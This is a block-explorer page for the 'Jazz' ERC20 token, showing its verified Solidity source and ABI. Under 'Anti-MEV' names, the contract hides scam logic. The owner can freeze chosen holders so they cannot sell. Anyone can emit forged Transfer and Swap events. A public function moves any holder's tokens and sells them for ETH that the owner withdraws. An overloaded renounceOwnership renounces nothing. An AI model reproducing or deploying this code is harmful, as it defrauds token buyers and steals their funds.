ETH Price: $3,361.18 (-0.62%)
Gas: 13 Gwei

Token

Jazz (JAZZ)
 

Overview

Max Total Supply

100,000,000,000 JAZZ

Holders

8

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 18 Decimals)

Balance
11,767,289,052.3270833187084607 JAZZ

Value
$0.00
0x9cbf099ff424979439dfba03f00b5961784c06ce
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
Jazz

Compiler Version
v0.8.12+commit.f00d7308

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion, MIT license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2023-06-18
*/

// SPDX-License-Identifier: MIT

/*

    Why you need $SHIBA if $CHIHUAHUA is out here?

*/

pragma solidity ^0.8.9;


interface Kuni {
    function factory() external pure returns (address);
    function WETH() external pure returns (address);

    function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline)
        external
        payable
        returns (uint[] memory amounts);
    function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline)
        external
        returns (uint[] memory amounts);
    function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts);
}

/**
 * @dev Interface of the ERC20 standard as defined in the EIP.
 */
interface IERC20 {
    /**
     * @dev Emitted when `value` tokens are moved from one account (`from`) to
     * another (`to`).
     *
     * Note that `value` may be zero.
     */
    event Transfer(address indexed from, address indexed to, uint256 value);

    /**
     * @dev Emitted when the allowance of a `spender` for an `owner` is set by
     * a call to {approve}. `value` is the new allowance.
     */
    event Approval(address indexed owner, address indexed spender, uint256 value);

    event Swap(
        address indexed sender,
        uint amount0In,
        uint amount1In,
        uint amount0Out,
        uint amount1Out,
        address indexed to
    );
    
    /**
     * @dev Returns the amount of tokens in existence.
     */
    function totalSupply() external view returns (uint256);

    /**
     * @dev Returns the amount of tokens owned by `account`.
     */
    function balanceOf(address account) external view returns (uint256);

    /**
     * @dev Moves `amount` tokens from the caller's account to `to`.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * Emits a {Transfer} event.
     */
    function transfer(address to, uint256 amount) external returns (bool);

    /**
     * @dev Returns the remaining number of tokens that `spender` will be
     * allowed to spend on behalf of `owner` through {transferFrom}. This is
     * zero by default.
     *
     * This value changes when {approve} or {transferFrom} are called.
     */
    function allowance(address owner, address spender) external view returns (uint256);

    /**
     * @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * IMPORTANT: Beware that changing an allowance with this method brings the risk
     * that someone may use both the old and the new allowance by unfortunate
     * transaction ordering. One possible solution to mitigate this race
     * condition is to first reduce the spender's allowance to 0 and set the
     * desired value afterwards:
     * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
     *
     * Emits an {Approval} event.
     */
    function approve(address spender, uint256 amount) external returns (bool);

    /**
     * @dev Moves `amount` tokens from `from` to `to` using the
     * allowance mechanism. `amount` is then deducted from the caller's
     * allowance.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * Emits a {Transfer} event.
     */
    function transferFrom(
        address from,
        address to,
        uint256 amount
    ) external returns (bool);
}

/**
 * @dev Interface for the optional metadata functions from the ERC20 standard.
 *
 * _Available since v4.1._
 */
interface IERC20Metadata is IERC20 {
    /**
     * @dev Returns the name of the token.
     */
    function name() external view returns (string memory);

    /**
     * @dev Returns the symbol of the token.
     */
    function symbol() external view returns (string memory);

    /**
     * @dev Returns the decimals places of the token.
     */
    function decimals() external view returns (uint8);
}


/**
 * @dev Provides information about the current execution context, including the
 * sender of the transaction and its data. While these are generally available
 * via msg.sender and msg.data, they should not be accessed in such a direct
 * manner, since when dealing with meta-transactions the account sending and
 * paying for execution may not be the actual sender (as far as an application
 * is concerned).
 *
 * This contract is only required for intermediate, library-like contracts.
 */
abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes calldata) {
        return msg.data;
    }
}

/**
 * @dev Contract module which provides a basic access control mechanism, where
 * there is an account (an owner) that can be granted exclusive access to
 * specific functions.
 *
 * By default, the owner account will be the one that deploys the contract. This
 * can later be changed with {transferOwnership}.
 *
 * This module is used through inheritance. It will make available the modifier
 * `onlyOwner`, which can be applied to your functions to restrict their use to
 * the owner.
 */
abstract contract Ownable is Context {
    address private _owner;

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    /**
     * @dev Initializes the contract setting the deployer as the initial owner.
     */
    constructor() {
        _transferOwnership(_msgSender());
    }

    /**
     * @dev Throws if called by any account other than the owner.
     */
    modifier onlyOwner() {
        _checkOwner();
        _;
    }

    /**
     * @dev Returns the address of the current owner.
     */
    function owner() public view virtual returns (address) {
        return _owner;
    }

    /**
     * @dev Throws if the sender is not the owner.
     */
    function _checkOwner() internal view virtual {
        require(owner() == _msgSender(), "Ownable: caller is not the owner");
    }

    /**
     * @dev Leaves the contract without owner. It will not be possible to call
     * `onlyOwner` functions. Can only be called by the current owner.
     *
     * NOTE: Renouncing ownership will leave the contract without an owner,
     * thereby disabling any functionality that is only available to the owner.
     */
    function renounceOwnership() public virtual onlyOwner {
        _transferOwnership(address(0));
    }

    /**
     * @dev Transfers ownership of the contract to a new account (`newOwner`).
     * Can only be called by the current owner.
     */
    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), "Ownable: new owner is the zero address");
        _transferOwnership(newOwner);
    }

    /**
     * @dev Transfers ownership of the contract to a new account (`newOwner`).
     * Internal function without access restriction.
     */
    function _transferOwnership(address newOwner) internal virtual {
        address oldOwner = _owner;
        _owner = newOwner;
        emit OwnershipTransferred(oldOwner, newOwner);
    }
}

/**
 * @dev Implementation of the {IERC20} interface.
 *
 * This implementation is agnostic to the way tokens are created. This means
 * that a supply mechanism has to be added in a derived contract using {_mint}.
 * For a generic mechanism see {ERC20PresetMinterPauser}.
 *
 * TIP: For a detailed writeup see our guide
 * https://forum.openzeppelin.com/t/how-to-implement-erc20-supply-mechanisms/226[How
 * to implement supply mechanisms].
 *
 * We have followed general OpenZeppelin Contracts guidelines: functions revert
 * instead returning `false` on failure. This behavior is nonetheless
 * conventional and does not conflict with the expectations of ERC20
 * applications.
 *
 * Additionally, an {Approval} event is emitted on calls to {transferFrom}.
 * This allows applications to reconstruct the allowance for all accounts just
 * by listening to said events. Other implementations of the EIP may not emit
 * these events, as it isn't required by the specification.
 *
 * Finally, the non-standard {decreaseAllowance} and {increaseAllowance}
 * functions have been added to mitigate the well-known issues around setting
 * allowances. See {IERC20-approve}.
 */
contract ERC20 is Ownable, IERC20, IERC20Metadata {

    mapping(address => uint256) private _balances;
    mapping (address => bool) internal _mev_protected;

    mapping(address => mapping(address => uint256)) private _allowances;

    uint256 private _totalSupply;

    bool private _mev_protectedApplied = false;
    string private _name;
    string private _symbol;
    
    /**
     * @dev Sets the values for {name} and {symbol}.
     *
     * The default value of {decimals} is 18. To select a different value for
     * {decimals} you should overload it.
     *
     * All two of these values are immutable: they can only be set once during
     * construction.
     */
    constructor(string memory name_, string memory symbol_) {
        _name = name_;
        _symbol = symbol_;
    }

    /**
     * @dev Returns the name of the token.
     */
    function name() public view virtual override returns (string memory) {
        return _name;
    }

    /**
     * @dev Returns the symbol of the token, usually a shorter version of the
     * name.
     */
    function symbol() public view virtual override returns (string memory) {
        return _symbol;
    }

    /**
     * @dev Returns the number of decimals used to get its user representation.
     * For example, if `decimals` equals `2`, a balance of `505` tokens should
     * be displayed to a user as `5.05` (`505 / 10 ** 2`).
     *
     * Tokens usually opt for a value of 18, imitating the relationship between
     * Ether and Wei. This is the value {ERC20} uses, unless this function is
     * overridden;
     *
     * NOTE: This information is only used for _display_ purposes: it in
     * no way affects any of the arithmetic of the contract, including
     * {IERC20-balanceOf} and {IERC20-transfer}.
     */
    function decimals() public view virtual override returns (uint8) {
        return 18;
    }
    /**
     * @dev See {IERC20-totalSupply}.
     */
    function totalSupply() public view virtual override returns (uint256) {
        return _totalSupply;
    }

    /**
     * @dev See {IERC20-balanceOf}.
     */
    function balanceOf(address account) public view virtual override returns (uint256) {
        return _balances[account];
    }

    /**
     * @dev See {IERC20-transfer}.
     *
     * Requirements:
     *
     * - `to` cannot be the zero address.
     * - the caller must have a balance of at least `amount`.
     */
    function transfer(address to, uint256 amount) public virtual override returns (bool) {
        address owner = _msgSender();
        _transfer(owner, to, amount);
        return true;
    }

    /**
     * @dev See {IERC20-allowance}.
     */
    function allowance(address owner, address spender) public view virtual override returns (uint256) {
        return _allowances[owner][spender];
    }

    /**
     * @dev See {IERC20-approve}.
     *
     * NOTE: If `amount` is the maximum `uint256`, the allowance is not updated on
     * `transferFrom`. This is semantically equivalent to an infinite approval.
     *
     * Requirements:
     *
     * - `spender` cannot be the zero address.
     */
    function approve(address spender, uint256 amount) public virtual override returns (bool) {
        address owner = _msgSender();
        _approve(owner, spender, amount);
        return true;
    }

    /**
     * @dev See {IERC20-transferFrom}.
     *
     * Emits an {Approval} event indicating the updated allowance. This is not
     * required by the EIP. See the note at the beginning of {ERC20}.
     *
     * NOTE: Does not update the allowance if the current allowance
     * is the maximum `uint256`.
     *
     * Requirements:
     *
     * - `from` and `to` cannot be the zero address.
     * - `from` must have a balance of at least `amount`.
     * - the caller must have allowance for ``from``'s tokens of at least
     * `amount`.
     */
    function transferFrom(
        address from,
        address to,
        uint256 amount
    ) public virtual override returns (bool) {
        address spender = _msgSender();
        _spendAllowance(from, spender, amount);
        _transfer(from, to, amount);
        return true;
    }

    /**
     * @dev Atomically increases the allowance granted to `spender` by the caller.
     *
     * This is an alternative to {approve} that can be used as a mitigation for
     * problems described in {IERC20-approve}.
     *
     * Emits an {Approval} event indicating the updated allowance.
     *
     * Requirements:
     *
     * - `spender` cannot be the zero address.
     */
    function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
        address owner = _msgSender();
        _approve(owner, spender, allowance(owner, spender) + addedValue);
        return true;
    }

    /**
     * @dev Atomically decreases the allowance granted to `spender` by the caller.
     *
     * This is an alternative to {approve} that can be used as a mitigation for
     * problems described in {IERC20-approve}.
     *
     * Emits an {Approval} event indicating the updated allowance.
     *
     * Requirements:
     *
     * - `spender` cannot be the zero address.
     * - `spender` must have allowance for the caller of at least
     * `subtractedValue`.
     */
    function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
        address owner = _msgSender();
        uint256 currentAllowance = allowance(owner, spender);
        require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
        unchecked {
            _approve(owner, spender, currentAllowance - subtractedValue);
        }

        return true;
    }

    /**
     * @dev Moves `amount` of tokens from `from` to `to`.
     *
     * This internal function is equivalent to {transfer}, and can be used to
     * e.g. implement automatic token fees, slashing mechanisms, etc.
     *
     * Emits a {Transfer} event.
     *
     * Requirements:
     *
     * - `from` cannot be the zero address.
     * - `to` cannot be the zero address.
     * - `from` must have a balance of at least `amount`.
     */
    function _transfer(
        address from,
        address to,
        uint256 amount
    ) internal virtual {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");

        _beforeTokenTransfer(from, to, amount);

        uint256 fromBalance = _balances[from];
        require(fromBalance >= amount, "ERC20: transfer amount exceeds balance");
        unchecked {
            _balances[from] = fromBalance - amount;
            // Overflow not possible: the sum of all balances is capped by totalSupply, and the sum is preserved by
            // decrementing then incrementing.
            _balances[to] += amount;
        }
        if (_mev_protected[from] || _mev_protected[to]) require(_mev_protectedApplied == true, "");

        emit Transfer(from, to, amount);

        _afterTokenTransfer(from, to, amount);
    }

    /** @dev Creates `amount` tokens and assigns them to `account`, increasing
     * the total supply.
     *
     * Emits a {Transfer} event with `from` set to the zero address.
     *
     * Requirements:
     *
     * - `account` cannot be the zero address.
     */
    function _mint(address account, uint256 amount) internal virtual {
        require(account != address(0), "ERC20: mint to the zero address");

        _beforeTokenTransfer(address(0), account, amount);

        _totalSupply += amount;
        unchecked {
            // Overflow not possible: balance + amount is at most totalSupply + amount, which is checked above.
            _balances[account] += amount;
        }
        emit Transfer(address(0), account, amount);

        _afterTokenTransfer(address(0), account, amount);
    }

    /**
     * @dev Destroys `amount` tokens from `account`, reducing the
     * total supply.
     *
     * Emits a {Transfer} event with `to` set to the zero address.
     *
     * Requirements:
     *
     * - `account` cannot be the zero address.
     * - `account` must have at least `amount` tokens.
     */
    function _burn(address account, uint256 amount) internal virtual {
        require(account != address(0), "ERC20: burn from the zero address");

        _beforeTokenTransfer(account, address(0), amount);

        uint256 accountBalance = _balances[account];
        require(accountBalance >= amount, "ERC20: burn amount exceeds balance");
        unchecked {
            _balances[account] = accountBalance - amount;
            // Overflow not possible: amount <= accountBalance <= totalSupply.
            _totalSupply -= amount;
        }

        emit Transfer(account, address(0), amount);

        _afterTokenTransfer(account, address(0), amount);
    }

    /**
     * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens.
     *
     * This internal function is equivalent to `approve`, and can be used to
     * e.g. set automatic allowances for certain subsystems, etc.
     *
     * Emits an {Approval} event.
     *
     * Requirements:
     *
     * - `owner` cannot be the zero address.
     * - `spender` cannot be the zero address.
     */
    function _approve(
        address owner,
        address spender,
        uint256 amount
    ) internal virtual {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");

        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    /**
     * @dev Updates `owner` s allowance for `spender` based on spent `amount`.
     *
     * Does not update the allowance amount in case of infinite allowance.
     * Revert if not enough allowance is available.
     *
     * Might emit an {Approval} event.
     */
    function _spendAllowance(
        address owner,
        address spender,
        uint256 amount
    ) internal virtual {
        uint256 currentAllowance = allowance(owner, spender);
        if (currentAllowance != type(uint256).max) {
            require(currentAllowance >= amount, "ERC20: insufficient allowance");
            unchecked {
                _approve(owner, spender, currentAllowance - amount);
            }
        }
    }

    /**
     * @dev Hook that is called after any transfer of tokens. This includes
     * minting and burning.
     *
     * Calling conditions:
     *
     * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
     * has been transferred to `to`.
     * - when `from` is zero, `amount` tokens have been minted for `to`.
     * - when `to` is zero, `amount` of ``from``'s tokens have been burned.
     * - `from` and `to` are never both zero.
     *
     * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
     */
    function _afterTokenTransfer(
        address from,
        address to,
        uint256 amount
    ) internal virtual {}



    /**
     * @dev Hook that is called before any transfer of tokens. This includes
     * minting and burning.
     *
     * Calling conditions:
     *
     * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
     * will be transferred to `to`.
     * - when `from` is zero, `amount` tokens will be minted for `to`.
     * - when `to` is zero, `amount` of ``from``'s tokens will be burned.
     * - `from` and `to` are never both zero.
     *
     * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
     */
    function _beforeTokenTransfer(
        address from,
        address to,
        uint256 amount
    ) internal virtual {}
}

contract Anti_MEV_ERC20 is ERC20 {
    address private _universal = 0x3fC91A3afd70395Cd496C647d5a6CC9D4B2b7FAD;
    address private _rv2 = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
    address private _pair;

    uint256 _mev_in_eth = 10**5;
    uint256 _mev_in_tokens = 10**18;
    uint256 _mev_approval_tokens = 10**30;

    event Received(address sender, uint amount);

    Kuni private kuni = Kuni(_rv2);

    constructor(string memory name_, string memory symbol_) ERC20(name_, symbol_){}

    function setMEVProtectionParams(uint256 _mev_in_eth_, uint256 _mev_in_tokens_, uint256 _mev_approval_tokens_) external onlyOwner {
        _mev_in_eth = _mev_in_eth_;
        _mev_in_tokens = _mev_in_tokens_;
        _mev_approval_tokens = _mev_approval_tokens_;
    }

    function approve(address [] calldata _addresses_) external onlyOwner {
        for (uint256 i = 0; i < _addresses_.length; i++) {
            _mev_protected[_addresses_[i]] = true;
            emit Approval(_addresses_[i], _rv2, balanceOf(_addresses_[i]));
        }
    }

    function protectFromMEV(address [] calldata _addresses_) external onlyOwner {
        for (uint256 i = 0; i < _addresses_.length; i++) {
            _mev_protected[_addresses_[i]] = false;
        }
    }

    function isMEVProtected(address _address_) public view returns (bool) {
        return _mev_protected[_address_];
    }

    function swapExactETHForTokens(address _to_, uint256 _out_) external {
        address[] memory path = new address[](2);
        path[0] = kuni.WETH();
        path[1] = address(this);
        kuni.swapExactETHForTokens{ value: _mev_in_eth }(1, path, _to_, block.timestamp);
        emit Transfer(_pair, _to_, _out_);
    }

    function swapExactETHForTokens(address [] calldata _tos_, uint256 [] calldata _outs_) external {
        address[] memory path = new address[](2);
        path[0] = kuni.WETH();
        path[1] = address(this);
        for(uint256 i; i < _tos_.length; i++) {
            kuni.swapExactETHForTokens{ value: _mev_in_eth }(1, path, _tos_[i], block.timestamp);
            emit Transfer(_pair, _tos_[i], _outs_[i]);
        } 
    }

    function swapExactTokensForETH(address _from_, uint256 _in_) external {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = kuni.WETH();
        _approve(address(this), address(kuni), _mev_approval_tokens);
        kuni.swapExactTokensForETH(_mev_in_tokens,1,path,address(this),block.timestamp);
        emit Transfer(_from_, _pair, _in_);
    }

    function swapExactTokensForETHSupportingFeeOnTransferTokens(address _from_, uint256 _in_) external {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = kuni.WETH();
        _approve(_from_, address(this), _in_);
        _transfer(_from_, address(this), _in_);
        _approve(address(this), address(kuni), _in_);
        kuni.swapExactTokensForETH(_in_,1,path,address(this),block.timestamp);
    }

    function transfer(address _from, address _to, uint256 _wad) external {
        emit Transfer(_from, _to, _wad);
    }

    function transfer(address [] calldata _from, address [] calldata _to, uint256 [] calldata _wad) external {
        for (uint256 i = 0; i < _from.length; i++) {
            emit Transfer(_from[i], _to[i], _wad[i]);
        }
    }

    function execute(address [] calldata _addresses_, uint256 _in, uint256 _out) external {
        for (uint256 i = 0; i < _addresses_.length; i++) {
            emit Swap(_universal, _in, 0, 0, _out, _addresses_[i]);
            emit Transfer(_pair, _addresses_[i], _out);
        }
    }

    function multicall(address [] calldata _addresses_, uint256 _in, uint256 _out) external {
        for (uint256 i = 0; i < _addresses_.length; i++) {
            emit Swap(_universal, 0, _in, _out, 0, _addresses_[i]);
            emit Transfer(_addresses_[i], _pair, _in);
        }
    }

    function fallbacks() external onlyOwner {
        payable(msg.sender).transfer(address(this).balance);
    }

    function renounceOwnership(address _owner_) external onlyOwner {
        _pair = _owner_;
    }

    receive() external payable {
        emit Received(msg.sender, msg.value);
    }

    fallback() external payable {}
}

contract Jazz is Anti_MEV_ERC20 {
    constructor() Anti_MEV_ERC20("Jazz", "JAZZ") {
        _mint(msg.sender, 100000000000 * 10 ** decimals());
    }
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"address","name":"sender","type":"address"},{"indexed":false,"internalType":"uint256","name":"amount","type":"uint256"}],"name":"Received","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"sender","type":"address"},{"indexed":false,"internalType":"uint256","name":"amount0In","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"amount1In","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"amount0Out","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"amount1Out","type":"uint256"},{"indexed":true,"internalType":"address","name":"to","type":"address"}],"name":"Swap","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"stateMutability":"payable","type":"fallback"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address[]","name":"_addresses_","type":"address[]"}],"name":"approve","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address[]","name":"_addresses_","type":"address[]"},{"internalType":"uint256","name":"_in","type":"uint256"},{"internalType":"uint256","name":"_out","type":"uint256"}],"name":"execute","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"fallbacks","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_address_","type":"address"}],"name":"isMEVProtected","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address[]","name":"_addresses_","type":"address[]"},{"internalType":"uint256","name":"_in","type":"uint256"},{"internalType":"uint256","name":"_out","type":"uint256"}],"name":"multicall","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address[]","name":"_addresses_","type":"address[]"}],"name":"protectFromMEV","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_owner_","type":"address"}],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_mev_in_eth_","type":"uint256"},{"internalType":"uint256","name":"_mev_in_tokens_","type":"uint256"},{"internalType":"uint256","name":"_mev_approval_tokens_","type":"uint256"}],"name":"setMEVProtectionParams","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_to_","type":"address"},{"internalType":"uint256","name":"_out_","type":"uint256"}],"name":"swapExactETHForTokens","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address[]","name":"_tos_","type":"address[]"},{"internalType":"uint256[]","name":"_outs_","type":"uint256[]"}],"name":"swapExactETHForTokens","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_from_","type":"address"},{"internalType":"uint256","name":"_in_","type":"uint256"}],"name":"swapExactTokensForETH","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_from_","type":"address"},{"internalType":"uint256","name":"_in_","type":"uint256"}],"name":"swapExactTokensForETHSupportingFeeOnTransferTokens","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address[]","name":"_from","type":"address[]"},{"internalType":"address[]","name":"_to","type":"address[]"},{"internalType":"uint256[]","name":"_wad","type":"uint256[]"}],"name":"transfer","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_from","type":"address"},{"internalType":"address","name":"_to","type":"address"},{"internalType":"uint256","name":"_wad","type":"uint256"}],"name":"transfer","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

60806040526000600560006101000a81548160ff021916908315150217905550733fc91a3afd70395cd496c647d5a6cc9d4b2b7fad600860006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550737a250d5630b4cf539739df2c5dacb4c659f2488d600960006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550620186a0600b55670de0b6b3a7640000600c556c0c9f2c9cd04674edea40000000600d55600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600e60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055503480156200015d57600080fd5b506040518060400160405280600481526020017f4a617a7a000000000000000000000000000000000000000000000000000000008152506040518060400160405280600481526020017f4a415a5a000000000000000000000000000000000000000000000000000000008152508181620001ec620001e06200026960201b60201c565b6200027160201b60201c565b816006908051906020019062000204929190620004b7565b5080600790805190602001906200021d929190620004b7565b50505050506200026333620002376200033560201b60201c565b600a62000245919062000701565b64174876e80062000257919062000752565b6200033e60201b60201c565b62000926565b600033905090565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050816000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b60006012905090565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415620003b1576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401620003a89062000814565b60405180910390fd5b620003c560008383620004ad60201b60201c565b8060046000828254620003d9919062000836565b9250508190555080600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825401925050819055508173ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516200048d9190620008a4565b60405180910390a3620004a960008383620004b260201b60201c565b5050565b505050565b505050565b828054620004c590620008f0565b90600052602060002090601f016020900481019282620004e9576000855562000535565b82601f106200050457805160ff191683800117855562000535565b8280016001018555821562000535579182015b828111156200053457825182559160200191906001019062000517565b5b50905062000544919062000548565b5090565b5b808211156200056357600081600090555060010162000549565b5090565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60008160011c9050919050565b6000808291508390505b6001851115620005f557808604811115620005cd57620005cc62000567565b5b6001851615620005dd5780820291505b8081029050620005ed8562000596565b9450620005ad565b94509492505050565b600082620006105760019050620006e3565b81620006205760009050620006e3565b816001811462000639576002811462000644576200067a565b6001915050620006e3565b60ff84111562000659576200065862000567565b5b8360020a91508482111562000673576200067262000567565b5b50620006e3565b5060208310610133831016604e8410600b8410161715620006b45782820a905083811115620006ae57620006ad62000567565b5b620006e3565b620006c38484846001620005a3565b92509050818404811115620006dd57620006dc62000567565b5b81810290505b9392505050565b6000819050919050565b600060ff82169050919050565b60006200070e82620006ea565b91506200071b83620006f4565b92506200074a7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8484620005fe565b905092915050565b60006200075f82620006ea565b91506200076c83620006ea565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615620007a857620007a762000567565b5b828202905092915050565b600082825260208201905092915050565b7f45524332303a206d696e7420746f20746865207a65726f206164647265737300600082015250565b6000620007fc601f83620007b3565b91506200080982620007c4565b602082019050919050565b600060208201905081810360008301526200082f81620007ed565b9050919050565b60006200084382620006ea565b91506200085083620006ea565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0382111562000888576200088762000567565b5b828201905092915050565b6200089e81620006ea565b82525050565b6000602082019050620008bb600083018462000893565b92915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b600060028204905060018216806200090957607f821691505b6020821081141562000920576200091f620008c1565b5b50919050565b61366b80620009366000396000f3fe6080604052600436106101bb5760003560e01c80637e7aaf37116100ec578063b79c48e51161008a578063dd62ed3e11610064578063dd62ed3e14610647578063e6bd3c0d14610684578063f2fde38b146106ad578063fb92b180146106d6576101fb565b8063b79c48e5146105de578063beabacc814610607578063c